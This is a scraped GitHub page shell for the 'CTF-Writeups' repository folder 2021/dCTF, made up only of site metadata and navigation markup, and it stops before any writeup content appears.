content="B718:09D1:D04FD3:E184CE:61830714" data-pjax-transient="true"/><meta name="html-safe-nonce" content="33b6fbd3ce2e08a7c8c30a4908d6778239b43637038b64f84dd28a3ab4a343b8" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzE4OjA5RDE6RDA0RkQzOkUxODRDRTo2MTgzMDcxNCIsInZpc2l0b3JfaWQiOiI3MDEwOTIxNzUwNjQyNzA2MTIiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="50388864a241509b05c8e23ec341e4dc339457f820b75e9dec1b4be910330350" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:368004552" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/ivanchubb/CTF-Writeups git https://github.com/ivanchubb/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="56413433" /><meta name="octolytics-dimension-user_login" content="ivanchubb" /><meta name="octolytics-dimension-repository_id" content="368004552" /><meta name="octolytics-dimension-repository_nwo" content="ivanchubb/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="368004552" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ivanchubb/CTF-Writeups" /> <link rel="canonical" href="https://github.com/ivanchubb/CTF-Writeups/tree/main/2021/dCTF" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="368004552" data-scoped-search-url="/ivanchubb/CTF-Writeups/search" data-owner-scoped-search-url="/users/ivanchubb/search" data-unscoped-search-url="/search" action="/ivanchubb/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="DzaY4S602U/bMwcBRVLUgKZz4p8yqF9WTWH3usvhvzspEMy53HRHXkYgCbgRu4PGbeCGN/KTiUkAjniEJVW2HA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> ivanchubb </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 2 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 